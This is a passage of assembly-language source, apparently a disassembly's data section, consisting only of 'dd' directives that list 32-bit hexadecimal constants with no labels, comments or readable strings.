0F5442571h, 9997124Ah, 30A97EA8h, 0BD218184h, 0EC359D08h dd 70007B73h, 0E041D2A4h, 9298B3A7h, 7C6C2260h, 81639013h dd 2A803832h, 790B8C44h, 7A018C11h, 26C5CBA1h, 1447759Ch dd 28925B84h, 102D2778h, 40EFF0CAh, 11F788A4h, 2023F6F5h dd 0CAE89A22h, 300C0E2h, 935FB92Ah, 3C968653h, 8EB2B775h dd 0F4207761h, 18BE5145h, 0D1A287D9h, 3A8476CFh, 84149F6h dd 60781CACh, 89E10C88h, 8103FBC1h, 0E8F71C46h, 0F9317403h dd 6DE07F10h, 0D020E351h, 2C128697h, 90016B0h, 46E7D96Ch dd 35BFCD6h, 71DEFDBFh, 310052E3h, 0B369EC47h, 72CB81Fh dd 89AD83F0h, 381E51D1h, 31B9DD98h, 10F40D5Dh, 5FDCE074h dd 7AE5A606h, 0E2C16A65h, 0F25A88E2h, 0DD01A8F2h, 0D3F48AACh dd 3822CFFBh, 0CA585701h, 9E414816h, 6F005A61h, 0F8420777h dd 7C6302DBh, 0FDE6D4A2h, 0D1247884h, 7BF3D0h, 0E4871Bh dd 0E308D088h, 0C13C977Eh, 4A0D749h, 5A1833ABh, 9C6460D1h dd 87EDE211h, 8F7C4541h, 0E3A88310h, 0C70279F4h, 0D0261F88h dd 0EB23A531h, 0ED7D330Ah, 0DE91F458h, 0E9E20800h, 32D1D8DBh dd 217EF06h, 2AE0DDA5h, 1FF8770Bh, 845F60BCh, 0F4C8369h dd 0CC919B6Eh, 8B7A6C8Ch, 0F168186Dh, 0B30E020h, 5275CF8Eh dd 23D54F05h, 41BEC1A0h, 0CEAFB201h, 0C785476Ah, 0C601E1D4h dd 498E0B29h, 0DB304201h, 205A3B3Dh, 0C30A9CF8h, 4EF79090h dd 24E27124h, 63EFFE40h, 782200C2h, 9C03D4C0h, 93018A7Ah dd 0FB448F07h, 0AC5138ADh, 9C108463h, 70D474CDh, 826BC8FCh dd 8AD7025Bh, 918DC880h, 0A448CB81h, 0EF34C2E0h, 90928942h dd 71A23048h, 0B5C022DFh, 1D673A07h, 99803558h, 89A2EBh dd 91C32C5Ch, 0A3AA72EAh, 0FCF88E26h, 20014ABh, 0D6C27CF6h dd 0B84E0233h, 0DB78ED0Eh, 308CDF04h, 699C801Bh, 0CE40774Ch dd 0F431934Ah, 318081C1h, 5D5A5B32h, 4B13B0E8h, 0A4042FEFh dd 0E34B9B63h, 0C7B38C10h, 3B9A6C1Dh, 14685900h, 33283B8h dd 9C52BF65h, 71058473h, 0CDB636D7h, 78E055h, 623D8AABh dd 0C09117C2h, 5D6EFC29h, 958B9C8h, 14240091h, 5898A87Ch dd 9783128Ch, 0AEAC2151h, 289040F0h, 6492D521h, 0D4AA6A78h dd 93D07C10h, 60C1DD88h, 826C982h, 0E90087A6h, 8618EC53h dd 0D13D89h, 0E6DBA213h, 833CB48Ch, 91050F16h, 830E017h dd 0DD5561h, 9619BA66h, 0DFD27E72h, 0D2C9C01h, 4F265281h dd 85E1C11h, 0ACC80BF4h, 0B5892762h, 57F55890h, 897E8416h dd 80885C65h, 90460928h, 0BC907A87h, 0DD889575h, 70B1C0h dd 38D15E42h, 43F6F08Ch, 3A0B6B0Fh, 0A3A8C1C9h, 1BF46DE4h dd 6A9C195Ah, 58D64180h, 1E0FE8C8h, 84543AF2h, 0C8CDCAE6h dd 70B32092h, 20753614h, 3401720Fh, 0CC27AA2Ch, 12FB34A8h dd 919C807Eh, 1FF8BBE7h, 4E57D490h, 0A98FE90Fh, 83EC586h dd 0B91D8FF8h, 84439355h, 3CB718h, 928D3418h, 972608Eh dd 8070CB39h, 442BE358h, 0C1D33529h, 0D2503648h, 7A3C01A8h dd 836108B7h, 7900E01Eh, 100196A6h, 37594489h, 6360A4AAh dd 313C8F62h, 0D7D600FEh, 0B3256F6Ah, 18BF63E4h, 1EE02D31h dd 3D1E4E97h, 30207E52h, 0A569CE4Ch, 8CB82F6Eh, 703D3831h dd 79878E3Ch, 46D765A9h, 0CF60900Ch, 85B534A8h, 0B72C0F56h dd 49784C04h, 4D3C516Eh, 8E848986h, 0EA430064h, 7CB41BE3h dd 0AA6A18E9h, 0EF28E907h, 0E6A1D261h, 0F98DA4BEh, 0FC79BC41h dd 9501AF6Bh, 75ABEB6Ah, 3FC77C0h, 844A0134h, 0F73ED07h dd 442CE48Ah, 0C0587A50h, 5243FA80h, 3B22D4DCh, 4FE29326h dd 2980C01Eh, 0A0D2F060h, 0DC1E309Ah, 3864F141h, 0B7378100h dd 0BD63A4D6h, 169F826h, 426723D7h, 997C02A9h, 5C60C1B0h dd 2E40708Ah, 88A80E8h, 914C487Bh, 6118490Ah, 0F5844C58h dd 0C840C24Bh, 6112C98Fh, 0E3EF8302h, 0A58E8C04h, 68308690h dd 9128009h, 2BF6EA3Fh, 0D26E1C11h, 23BD7422h, 6100E64Ch dd 0F2017D11h, 1173B7Eh, 1F93C320h, 8C5136D0h, 410FCB39h dd 0FCA04561h, 21C64842h, 89DA1Eh, 46AE5B8Dh, 44330794h dd 18C35F28h, 11744D21h, 19E007DDh, 0D8043BAh, 4788Eh dd 0ABB626BEh, 8A1B8324h, 0B703B903h, 22CB25F9h, 0E43791F0h dd 0B183C1AAh, 0C900D727h, 1C332BAFh, 0CCE4BCE5h, 0C31A7D8h dd 0BB50B800h, 1ECEC993h, 1681C0DEh, 5D8DC8CCh, 46601000h dd 0D6652703h, 0F3E90921h, 34103FD5h, 90F715Ah, 615B2548h dd 0AD7737BBh, 0FD9ECh, 9C2640B2h, 4DB801FEh, 0BE56FC02h dd 46603CCEh, 214C43E0h, 4DAC0029h, 0CEC87634h, 6901A893h dd 0A8CB1FC0h, 9640108Ch, 0AF1D8319h, 8C004CFEh, 2C320D8Fh dd 0BC3E0047h, 585C2BD8h, 7F7E1FD6h, 809339C8h, 5C59C017h dd 25004F2Ah, 0D1D7CB66h, 5086863h, 0C51B9829h, 0EEA84047h dd 0B7FC3C5Eh, 1431C400h, 0E54478D7h, 1F47FCEh, 742794F3h dd 40DB6E43h, 23413158h, 0DD4C6A15h, 66011FCCh, 74CE3800h dd 0B8300277h, 9EF60085h, 534B4916h, 0E4000A08h, 0F1A2238h dd 5DE46ACh, 933F1D2Ah, 4D9C2139h, 0B7998056h, 8F38D907h dd 0C445187Ch, 0A364193Dh, 35F13000h, 0FD56E5E6h, 83AC1EB1h dd 7058DEE3h, 0F0542691h, 0D540920Fh, 0DB48034h, 63C580AAh dd 3AC4786Dh, 0BC6A5100h, 6F2EAEDDh, 0AFE6E3h, 45C5244h dd 4B1AAC74h, 0C83420FDh, 0D5E3F505h, 7C400907h, 75BE74B6h dd 9D5B00BDh, 0ED5C559Bh, 0EA3C1D89h, 905E8084h, 76F7744Fh dd 63E30049h, 0EB988353h dd 650210D5h, 0D90FD345h, 7C8A9D2h, 6410E5D8h, 48E49518h dd 0BD8024C3h, 0D36A7E2Dh, 0E7D0C006h, 540A958h, 0A7661157h dd 3AD0201Eh, 75082506h, 81E74BBFh, 88B9998h, 0C1C6D85Eh dd 2748D00h, 0E92EFDBFh, 21112C05h, 0AC89402Ch, 190F74A0h dd 0E0246332h, 0FB53E751h, 0ACFA80C3h, 0D559CC61h, 10222ABEh dd 0C9C43018h, 9700F6D4h, 98E8FE7Dh, 0C843EAh, 2F33925Eh dd 0E5AFC0B1h, 64302704h, 0C09155D6h, 1C625908h, 0C0CE871Ch dd 0EC2E7D3h, 6C0095BBh, 0AFFCB061h, 292C6885h, 6844FCEh dd 79404B36h, 82BC4A1h, 1987F168h, 33310CC0h, 0E916F61Eh dd 6EF0C68Ah, 153600A8h, 0BC5C5A4Ch, 8E077010h, 2BDED0E6h dd 0D464E970h, 317E0028h, 0A07B61Dh, 65E8F283h, 0BE0C25F0h dd 6941C42Ch, 0B9BB0034h, 0DAB4AF53h, 0D0294CC9h, 0C50AF0D8h dd 0EE80E8D4h, 0C3357119h, 19AD7B08h, 0B82DA49Fh, 0C158E3FAh dd 0DED81034h, 42D7B484h, 80405622h, 15609474h, 48590CCh dd 0D723C739h, 83488C9h, 39C04C74h, 0DA86C2F1h, 1DCE76CDh dd 83F251D0h, 0BCC9B532h, 0B0A47F98h, 0B6BF4D01h, 6F3F3572h dd 0EC8EE432h, 628E00D3h, 44EFC2B7h, 61289200h, 0AACD9753h dd 90147D83h, 5507200Ch, 802C4B5Ch, 6C3E2872h, 70755856h dd 0DCD6E50Ah, 17CD9170h, 2408B634h, 0D23D80E8h, 0CF1652F5h dd 9AB2850Eh, 8ACDE0D3h, 125DEA3Ch, 325BC82Ch, 0F4981D44h dd 44EACA42h, 1A19B200h, 0BD707274h, 2422002Ch, 3A6401A3h dd 70BB435h, 1854E752h, 0B9333124h, 0D69E80B8h, 3DDCE7C8h dd 7C53700h, 0F68F68EEh, 0D1E1C5A1h, 4E1CCCD2h, 2A032DB8h dd 8A28AA7Fh, 0D1E7A041h, 27F900F1h, 0F4A4177Eh, 46132182h dd 4C095F74h, 0D51413D3h, 0C1B5BC40h, 524F20h, 0CCB17AEEh dd 34B74C2Ah, 26C96605h, 3884074Bh, 0FCE90C8h, 0E4E6304Dh dd 1E32861Ch, 177491F7h, 184F5807h, 0BCD03928h, 2E5075h dd 5F6EE7F7h, 7A95B7A3h, 0D55065F7h, 663112BDh, 9E550098h dd 1DF9A598h, 290E6027h, 223226D8h, 69161208h, 0E710AB10h dd 0F0A646BDh, 0B9C5DF44h, 0D9380028h, 0B563DE76h, 516E3Bh dd 3ACBC281h, 1D03C21h, 6A897477h, 308EF44Dh, 51C2E344h dd 20D32D40h, 9A5A7F08h, 0F9C98206h, 19D1ADh, 0BA968C34h dd 0EA8DB6B9h, 0F9D3E205h, 10052CACh, 74C83F22h, 6BF6B4h dd 887AAECAh, 0BC0CF9B9h, 83CD3Fh, 69E3BF3Fh, 2E35DD95h dd 50884166h, 0F000B9FBh, 0C4426F7Eh, 3266A9A5h, 0CD70B7D6h dd 40AF1E22h, 9A470D1Ch, 1810F804h, 30CCA74Ch, 59C043C4h dd 87B88E0Ch, 0BA0A3F9Fh, 66D54880h, 9C193231h, 0F7F84AB0h dd 0A1FC431Ch, 89B8DB54h, 0F56010C1h, 597B694Bh, 383FA882h dd 0F4EA98A1h, 2FA4DCBFh, 3063C502h, 0C628442Ch, 594121C4h dd 10C55289h, 0B17000h, 45DDD883h, 448E61AEh, 892B9800h dd 1C4C316Bh, 82E31230h, 694C0B96h, 85B76010h, 80A0897Fh dd 0CE04B3BAh, 0D6E63108h, 147DF4A4h, 8C1F2C06h, 0C5446F80h dd 98B93261h, 312EBC11h, 2F406E08h, 8772F552h, 6BE56300h dd 8FACEBE0h, 0BFE402A7h, 54E91AC0h, 10E54469h, 3F8E2Ch dd 849A2129h, 8694EC8Dh, 0F8CC6C24h, 41AAA160h, 0AB4D03AFh dd 2B5FA7C7h, 0F8D22E0h, 0E0FB3F7Bh, 5C5C3CE7h, 0A0604AFCh dd 2D27110h, 5486F582h, 1844C3E3h, 8C0EFFFEh, 67C915BBh dd 69B0DFEAh, 0B93FCFA4h, 6726E0h, 0B1C93E72h, 79004948h dd 6DF942Fh, 0F0B66AA5h, 5BD358AAh, 40983F2Eh, 0AF6508CFh dd 0A4C29494h, 3C840FC4h, 320B25Bh, 964CB537h, 6285A13Bh dd 991AA030h, 4D3508D8h, 0B2628A4h, 0E6F13C18h, 49176253h dd 7882B9FAh, 9C66D9E7h, 0CF19BA09h, 0B7BB00F4h, 0EA328424h dd 0C01152F9h, 400CC524h, 0BC861E6Eh, 1AFA630Bh, 3A6C0427h dd 7C8A9840h, 4B00C7EEh, 0A7C80F0Ah, 2789EA5Eh, 0C0211E46h dd 0C80223B6h, 0E624730Eh, 0EB004058h, 0D5785B4Bh, 56EF8A6h dd 0FF9D7CDh, 0E7984512h, 925840BCh, 0C8283CB5h, 986690AAh dd 0FA417B00h, 0AE246FBAh, 0E56600D1h, 0AB4ED094h, 0D418D802h dd 15D09AB8h, 0B48682A9h, 5B0049A1h, 130D48E4h, 3CBCF12h dd 146F4DB9h, 60AFF36Dh, 962F57Dh, 1AB11116h, 0B08DE833h dd 48228763h, 0EB3FA426h, 9A31B9BAh, 8A160A8h, 0D6FA88C2h dd 0A6303E00h, 3426EB09h, 0D20206B0h, 0E9AC54E5h, 0D61C4050h dd 0DC975D00h, 98CB2072h, 0B22D00E4h, 0EEC2D8CEh, 0BA0E7B63h dd 0A130CDC6h, 0D21EA9FBh, 21EA2021h, 207D9211h, 0F32C50E4h dd 1E0C8047h, 0AD6905h, 6CAF6BBh, 62AB3FFEh, 0D2EB407Fh dd 42022079h, 0EAC6DBBAh, 0B6B46050h, 2C640762h, 49C03ED7h dd 0A00DC64h, 2501CC98h, 328F7FBh, 2F03A9BDh, 40C50EFAh dd 0F010B080h, 454A4E35h, 325F0444h, 68465022h, 0E6EB8D12h dd 0D9B5B804h, 0F2C090C0h, 44D498FCh, 80FFC52Ah, 4E33D31h dd 1853270h, 5F225363h, 2C71D124h, 74144024h, 7D677300h dd 0BA8B5EAFh, 639D001Eh, 3608CCD6h, 0C0A60196h, 0E3722C00h dd 0EED775E7h, 0B4AC03DAh, 0ADF1D909h, 0B85456E0h, 0E008402Ch dd 4C16A028h, 34211F89h, 0EC8AB31h, 0B9ECF5E3h, 2C5C3862h dd 0F1384018h, 0A1CFB22h, 0C8C9EA0Ch, 0BAB48565h, 85ACC48Ch dd 0D8413280h, 0C2F628h, 0ED8E2AA0h, 6252F74Fh, 98609102h dd 6EAC230Fh, 80EEE830h, 8AF0B533h, 249AC318h, 90BB638h dd 26B195BAh, 0B222E087h, 209CD90h, 0C44017CAh, 0EAE80038h dd 8A45D575h, 0BD04B851h, 0ADFA0D2Fh, 24E708B4h, 8030AA55h dd 0E0D9E409h, 4D34BA0Fh, 0B4C761AEh, 2E40D024h, 0D18087D6h dd 29B2F1E7h, 0B923099Ch, 0E6E0985Fh, 13249952h, 0B8E42040h dd 7D00FAD5h, 19182FF7h, 5299F6Eh, 217C55A6h, 2D748007h dd 0E104E45Eh, 2B82B774h, 0EEBC20A0h, 29A8B071h, 0F83CAEh dd 10016B19h, 93006D62h, 0B0CEB411h, 1C5D0CBEh, 0C1AAE9CAh dd 10E4049Fh, 6536D0B9h, 8C30495Ch, 71F912h, 2A0D9F9Dh dd 0BFCD99F0h, 85658004h, 90F7FCEAh, 0E1F19018h, 4484DD53h dd 0B80E373Ah, 0C00AC77Eh, 64938CEDh, 0CBD913FFh, 0C4C0C27Dh dd 10913461h, 24528CE4h, 2D8A087h, 3A53366Ah, 8A8048DBh dd 4DE8CBB8h, 0A60A005Eh, 74499CBCh, 0D609681Dh, 2FCA3FE2h dd 0B26420F8h, 279B174Ch, 0B41093B6h, 896C1E6h, 4167AB44h dd 39D8E661h, 24092674h, 5C07CE01h, 0E448211Dh, 20290086h dd 0ADF6A0E5h, 50009144h, 85D18798h, 0B8B995A9h, 0CE564470h dd 5490C009h, 10A8C857h, 407D4A66h, 4F4CB784h, 0E14F6338h dd 8F50004h, 49C07890h, 44BB0117h, 308D15B6h, 0BA6C7011h dd 9A0F91F0h, 26C0375h, 0E2D7D2D9h, 9E305174h, 13ACA610h dd 0D68C308Dh, 0EA2072E9h, 0E82307F3h, 57386BDAh, 0BE6AD0B5h dd 662907ACh, 0EE80BCA7h, 0E98228BDh, 77EA13FDh, 0FA50C808h dd 0CE78F51Eh, 0A1632B00h, 5F11Eh, 15466BC4h, 4D274071h dd 44693516h, 0F8246020h, 0B0CB8C4h, 0C822D87h, 0E026D891h dd 0E81232BEh, 540BB72Bh, 54448A50h, 10C900Fh, 1DF9B1A7h dd 813C8142h, 1E4C076Ch, 83F444F0h, 0A107FABBh, 14DE4921h dd 203B55D0h, 0CE7071h, 7F243F8h, 802F464Fh, 422E1800h dd 5D416E9Eh, 0D46B1DECh, 0C0C61E5Ch, 0AEEF4ABDh, 5B014C45h dd 3B9CE9E5h, 21804D32h, 391A1675h, 0E80036FEh, 4C840D4Fh dd 379E5E6h, 7FBC68EBh dd 59114BC9h, 287141C1h, 743860A4h, 478888AFh, 11538130h dd 366EFh, 0E254713Fh, 7FF0A5C2h, 2042C830h, 0BC5BFDh dd 845EEF41h, 7C8277B2h, 0CFCDBF07h, 9F60E3A4h, 1076F93h dd 54ECBCA3h, 60F256FCh, 6A24BBF1h, 3C06D5B3h, 75714CE0h dd 9689C01Ah, 0CBD0C056h, 0A99E3D00h, 0F6520F5h, 5A4E0006h dd 18B4732Ah, 0DDB0BDA6h, 0C8BB2300h, 0CF1E9A2Ch, 5854016Ah dd 0D2449F67h, 0C1AC4882h, 0F50394EEh, 0D73D799Ch, 832AE19Bh dd 208355DDh, 0EBDB1966h, 484E8007h, 2220DCCFh, 51479h dd 0B59B532Dh, 4E8A862Ch, 766082Ch, 5D301D19h, 380BEC0h dd 13FA6B2Fh, 781829D1h, 0A7215524h, 0E170B5CEh, 0D9928000h dd 9FE278B7h, 8E9C0B28h, 798C47BCh, 9A0A2FC8h, 0B4C4D14Ah dd 0BF893087h, 0C2548AC0h, 4C51C323h, 40ADD66Bh, 4495BB98h dd 78A8BC5Ch, 0C002AA5h, 0FB866281h, 0F34296h, 1D22D0B2h dd 8C66AD28h, 0BBC8BA01h, 19AFB18Ah, 0CB4030E3h, 2D484A79h dd 1E139103h, 0C826B5B1h, 720FF06Ch, 79DC06BCh, 912025D9h dd 0EB9F3Bh, 8B7E46C1h, 53BAC9h, 0A909AEC7h, 2E66D50h dd 0E0BCEC00h, 2ACE9B66h, 0D70E0085h, 877358E1h, 2C01727Ch dd 673A1565h, 0BC70AEE7h, 7D47184Dh, 0CAB91940h, 0D9536100h dd 12E7702Fh, 0EF96392Dh, 6E9CC300h, 1804F950h, 0F7FE2900h dd 4DE73B92h, 1865F03Ah, 49211666h, 0EF06FE11h, 14E31A2Ah dd 1C9B020h, 4A5CB050h, 0D31F7362h, 0E903397Ah, 2D6D9142h dd 8994B01Eh, 711F3772h, 5DBAB021h, 95E612F6h, 5944D601h dd 4BC1D7Bh, 2893AC00h, 0D56A78C0h, 3F8D0FBDh, 0D69C80B7h dd 0A5B040FBh, 97557E1Fh, 9110BC30h, 0DF9BCE7Ah, 0B9A21B39h dd 62F1EDE0h, 11711937h, 43FDD600h, 6E3900B1h, 0DDD5E06Dh dd 67585694h, 911A0196h, 78B088D1h, 0AA3B2E4h, 852301E2h dd 0D2FB0FC0h, 614F7206h, 0D6C10A01h, 8EE8BB39h, 7631C8h dd 1A2F191h, 5D07BCE5h, 81CFA001h, 3E176588h, 7C1A398Ch dd 0AA777891h, 25CFA300h, 21A461BDh, 7A140A89h, 8CF012F9h dd 5739177Dh, 34B02900h, 75889048h, 0A6DD01D3h, 614B97FBh dd 449D606Dh, 7860BFEEh, 79938561h, 0A9290C3h, 10623BC1h dd 46749DC4h, 11641C4Eh, 824DCF00h, 0AF3E02E2h, 7851D17h dd 95F640E1h, 67908101h, 600A789Dh, 9153039h, 686F9F04h dd 1C20B240h, 0FD9A71Dh, 208C417Bh, 2B645E81h, 50B9F5EAh dd 633C3AD0h, 660D1891h, 8C02E9BBh, 284207Bh, 0DF0093A7h dd 4C1D04Dh, 38073DF3h, 0AD861D50h, 519EABE9h, 2314FA16h dd 0EDD20907h, 0DE0410C9h, 0F62D01C9h, 0EE1DAC03h, 7B88826Ch dd 7D8388C3h, 40E4D641h, 22679444h, 2FC9950Eh, 37AB2682h dd 0DABF00E9h, 4FCB268Ah, 216E3F3h, 8D073BBDh, 71800CFDh dd 7708BFEh, 9B1AA1FCh, 0C97A0692h, 5045F101h, 0D1BF3E8h dd 32F360h, 0D60C385Ch, 7D22E9E1h, 868DD703h, 0C8651373h dd 0A83D7274h, 39689388h, 7E00B638h, 3BDACA9Bh, 0DF3EE385h dd 0EFC203D2h, 0D9DD73D4h, 0C9804963h, 31D0FC75h, 23607250h dd 0AC27F749h, 4B5B0703h, 8981C708h, 0C311C805h, 75839A3Bh dd 4DC8B100h, 4EEC952Fh, 7B020069h, 0F4624406h, 7E00F9E3h dd 437FAACh, 2899DD2Ah, 0F1C7419h, 9218DCF6h, 0FB80ED29h dd 0B1988016h, 36AE4A30h, 197E573h, 0F0BB6019h, 0DDCF77EDh dd 5418E79h, 0D966843Bh, 0D69B9680h, 0B78C040Bh, 8CB865B0h dd 4286E71Ch, 2230481Ch, 0D7380064h, 0EB7ACDF1h, 310F2008h dd 35922E7h, 22F5A1EFh, 89142550h, 0A8824E9h, 0F82AAB8Eh dd 2FD4A480h, 0F4491Ch, 0EEBE9359h, 0A8821DE2h, 0D303D00h dd 0F88DA286h, 8049D410h, 7E7D4B22h, 71A7AA03h, 0B80BFCEAh dd 4CDBBEDEh, 642824EFh, 0F7624418h, 0D748B20Eh, 0C0792FAAh dd 0E5BFEBE8h, 0DCF402A7h, 146F856Ch, 0F922D064h, 1375004Ah dd 0E552D6FFh, 0B209F682h, 18B8E99h, 0E1B8EA24h, 0F1107082h dd 606820C3h, 6201FC0Fh, 7426D397h, 3430E793h, 32448469h dd 982101F4h, 0DD5B193Bh, 0A046A037h, 1DE6A600h, 7DAEE2F7h dd 770B7B23h, 0CBD0ABC8h, 0B5413931h, 0A8B6D00h, 0C5E432E8h dd 1803C300h, 872726B2h, 7085007Dh, 52C70FBAh, 0CB1C9E6Fh dd 7E1099FBh, 5E382900h, 0B7D4516Eh, 340AE606h, 1DE8FF3Ch dd 981CD5Bh, 0E004964Fh, 0B966434Ch, 2C816526h, 120C0410h dd 761A4634h, 71C60061h, 0D13FE14Bh, 7F001277h, 5167E0FDh dd 27FBEEh, 0BAA73C2Ch, 19094C8Bh, 0F30F7CB1h, 70A283BDh dd 0FE80FCC4h, 97A7D7Ch, 196715EAh, 23F1EC90h, 0DF989903h dd 89817703h, 627270h, 609A3200h, 0C2D352B5h, 0B444C300h dd 0EF2AF7AFh, 66E50574h, 439EC77Dh, 47EBFCACh, 9F437A5h dd 0CE2F090h, 0D0D7E700h, 321F0E23h, 28BF98FAh, 0E94778Ah dd 3B7261E5h, 0AC51F27Fh, 0E3006C64h, 0F2BC0598h, 0A42557h dd 43D4D632h, 0F502A084h, 40992932h, 416E047Dh, 1E07BA78h dd 0E14C91D7h, 1C898C40h, 0BCB8A848h, 61DB005Bh, 1AF00CC9h dd 361DE1F9h, 8A80D6C4h, 62653992h, 0A55500C5h, 0E5494C48h dd 0C7377288h, 10699902h, 1CEEB744h, 0E733Dh, 2FCDABBDh dd 7D006274h, 23BAAFFDh, 412DC78h, 6F9084F4h, 0DB688102h dd 2025123Fh, 69335BE7h, 0C485F72Ch, 0A2002611h, 4B253C12h dd 0F0EF2A9Fh, 0E0C37423h, 0DC1E6606h, 641A4892h, 1C7D7190h dd 404B73C0h, 0F6DFFEDh, 943AF11Dh, 80A5828Ch, 0A1836F93h dd 1567A290h, 9FFA7200h, 40209491h, 0D15EDF03h, 0D112CEC4h dd 0C8962A13h, 0C8B4047Bh, 9497430Fh, 6448A470h, 667B6980h dd 4C9B8h, 3C80C5F9h, 0FF19958Dh, 261BA316h, 217AE10Fh dd 79BFBC93h, 0AEF19474h, 81050B44h, 7E05452Ch, 88F48595h dd 321E2D78h, 702CDB48h, 0D16D1B80h, 0C4F97D71h, 92C01589h dd 1A078A34h, 5C7D183Ch, 0AC184CFCh, 58062934h, 9A5C5Ch dd 0B73C8963h, 7EFB0D5Dh, 169604AFh, 861EA8DBh, 3A00A1A8h dd 36A49C47h, 5850AFDh, 7C975673h, 0E6A80527h, 0EB902007h dd 0E53D78A2h, 96BC9CA8h, 9813E78Ah, 98004791h, 20F28D9Fh dd 0E0506EBAh, 64449CD0h, 0AC991Ch, 77255D85h, 0A900C236h dd 86607BD5h, 14A05ABh, 31D2E582h, 0E726613Ch, 0E0AC3039h dd 2D324F89h, 815C3F42h, 75D81401h, 0E0DD4B7Bh, 78C8D42Bh dd 560119Dh, 398FFE3Ch, 843384C8h, 3D7744h, 0C4995809h dd 0AEC919C8h, 591CE716h, 0B442531Dh, 0C47D09D8h, 4630EF4h dd 49A7F545h, 88A27580h, 40917A3Ch, 0AF829A80h, 0C832A84h dd 0D5ECA6E4h, 4E53130Eh, 69860398h, 26F19694h, 2924F630h dd 85E50018h, 52A0D8E7h, 0C417662Ch, 60918B44h, 4024E914h dd 0C8A850E4h, 40D1D4AFh, 6D04F16Fh, 6C68C286h, 9785C50h dd 8561E409h, 59E406ECh, 979A1929h, 201C50EDh, 189A9967h dd 90722A45h, 0EBE5007Bh, 880D5A8Ah, 3517AAFBh, 5430E955h dd 98CA94DEh, 87F63EA0h, 0F87FC800h, 0D86DB3CCh, 16293E00h dd 1B6EE3A8h, 8050B99Ch, 6B270DCh, 9E1C59E7h, 0A4C003AAh dd 1165883Bh, 0FCA88B21h, 8C486607h, 4B022250h, 5F18407Dh dd 17C47E76h, 0F6575900h, 0BCCB367h, 0DD4150E4h, 33D7760h dd 7384D713h, 0EEA8889Ah, 41CCA893h, 1BB1829h, 9713E9ADh dd 116B2A5h, 4237B85h, 0C9F4C807h, 53DB42EDh, 0BBAFBCE0h dd 0E34F9309h, 9AB068ABh dd 6D7400E0h, 67029730h, 48F2F93Dh, 1041EC0Fh, 9C297F24h dd 20701C09h, 764EB60Ch, 41960002h, 0DA646AD7h, 7B2412FEh dd 85603813h, 1DAC69CEh, 6EE5710Eh, 0C42428F1h, 8C8F53EAh dd 571BFF34h, 0C2282D0Eh, 0DD0E08Dh, 401D8964h, 3E43BA3Ch dd 8780603Fh, 4CE83877h, 0A7662F40h, 908A3CD7h, 0F1844100h dd 4A5DCAA0h, 10489C4Ch, 7C4C3A1Dh, 5E2049C1h, 0A2F640F6h dd 0C0006A23h, 80F3B899h, 1FEFBC8Dh, 0FF658AB3h, 13C8285Ch dd 0C0747D94h, 55452D73h, 9D4B075h, 0A393FF51h, 81DD891h dd 0BEE800ACh, 0E0E6FE17h, 0A70F7498h, 2092F675h, 0E4DEF1F2h dd 0A240F088h, 70A482FCh, 0C2F8802Bh, 5C09FA3Bh, 31886805h dd 0C05D7944h, 64EC21Eh, 93016CC9h, 9C0F14CFh, 5C433E1Ch dd 12ED99DFh, 44DC11A8h, 0E5773C27h, 6837F9h, 8A4B0D28h dd 1F41C50Ch, 80975D09h, 1ABCCFF0h, 19306E30h, 6510814Ah dd 4C41EBB9h, 0AB0114E0h, 54BEE4D3h, 10F88E12h, 0CD7A8091h dd 62240432h, 0E33F0750h, 80742549h, 96ACEC1Ch, 1E842840h dd 80D94B2Bh, 0C7DEB011h, 997D74B7h, 2AAB4000h, 0C1F0A1A3h dd 42972CE4h, 2BEA6038h, 4C0F8235h, 0BA84F1h, 0D41E09C8h dd 41240578h, 830E287Ah, 7B4C5F4h, 7920E489h, 12D7F9CDh dd 90E63B9Ah, 0FA179424h, 5FEEB00h, 44218482h, 0DD60303Ch dd 819A75C9h, 0AF18312h, 1C885090h, 0F28B8846h, 8491ED0Bh dd 0E4540A5Dh, 971482BCh, 731545BCh, 0FA16A4h, 4F572DBCh dd 7904E873h, 701C10C1h, 42CD895Eh, 28976102h, 0A10DD3E0h dd 0C3CBBD04h, 0B8F41C3Ch, 85C200EEh, 7DCFA2A4h, 88014D87h dd 0D8DE65Fh, 6C22F83Ch, 0F2783Fh, 8C6715EDh, 7FD093B3h dd 0C856030Ch, 940D88Ah, 9A552E82h, 5DAB4482h, 0C6C008CBh dd 0E632804Bh, 0A1772886h, 0E21A0484h, 0C00424h, 0E10D2A2Ch dd 1D8C619Bh, 6880DC94h, 5274B8D5h, 37620173h, 8766E575h dd 7A14D0F1h, 5891F226h, 0CC1B5E4Eh, 0F892C539h, 87A08551h dd 327AD44Fh, 199AF420h, 0B2ACA87Fh, 59A900A2h, 4356ED1Fh dd 13132E3Dh, 6CD1840Eh, 821429F1h, 4611767Ch, 98782110h dd 0E571123Fh, 6C83C478h, 0E97900D7h, 9FBFA274h, 50B0910Bh dd 8154E054h, 0E02E1C24h, 2A288542h, 68912520h, 9E3081Eh dd 0A296ABE2h, 0C8C0A412h, 0EC09E113h, 1263DF73h, 7D3C83A4h dd 0B8390924h, 8155AA6Fh, 1AA19C11h, 2F00142Dh, 4D2D5A69h dd 0C00010E4h, 16EBD50Bh, 13738Ah, 429385E3h, 3D38AED3h dd 0DBB78917h, 82F6F841h, 883C8481h, 790E0780h, 0BC03EE20h dd 9512F71Fh, 0A130F84Ah, 387802DAh, 3950E7B7h, 0ACBB40A0h dd 0A1FE4CA0h, 703DCAE6h, 13D80279h, 0AF3CD9ABh, 33FC0D8h dd 9EB069BDh, 0BF8280A8h, 0E5742AD6h, 4E003AECh, 0CAE92097h dd 1838904h, 0AEFA78BEh, 0E118B192h, 80643873h, 0D2DA0EB7h dd 788B00A6h, 4F0FDCB3h, 0FA00AA9Fh, 1BF074Ch, 113B6795h dd 90AB85h, 0DACCC94Fh, 5A8941Bh, 9178A0E9h, 4358D28Ch dd 95363C40h, 8BA46100h, 3BD09A13h, 6ABB01A0h, 3F5E8D84h dd 74CC1465h, 3C62021Fh, 0E3100B85h, 1B003851h, 0DA751253h dd 81B70746h, 0E0BF6141h, 0F7196647h, 0E440795Ah, 6D99FA67h dd 40E3E0E5h, 5F0E0814h, 0A986C13Dh, 39C0907Dh, 0FC3800F2h dd 0BD117117h, 90988EECh, 0D203C098h, 0F97BBCAAh, 0BCF140E5h dd 3C37F605h, 10A86CB0h, 31A90060h, 2BA899F0h, 0A53F93E5h dd 0AB91E49Eh, 0C628A4h, 0FB4389F6h, 0CB0DBFFFh, 63AD9201h dd 739A14ACh, 0DF544C50h, 0AFB001A2h, 59EDE338h, 0AEEC70E0h dd 0AAE4E216h, 4806D808h, 0EF040030h, 0B10DDE2Eh, 3D1B071Fh dd 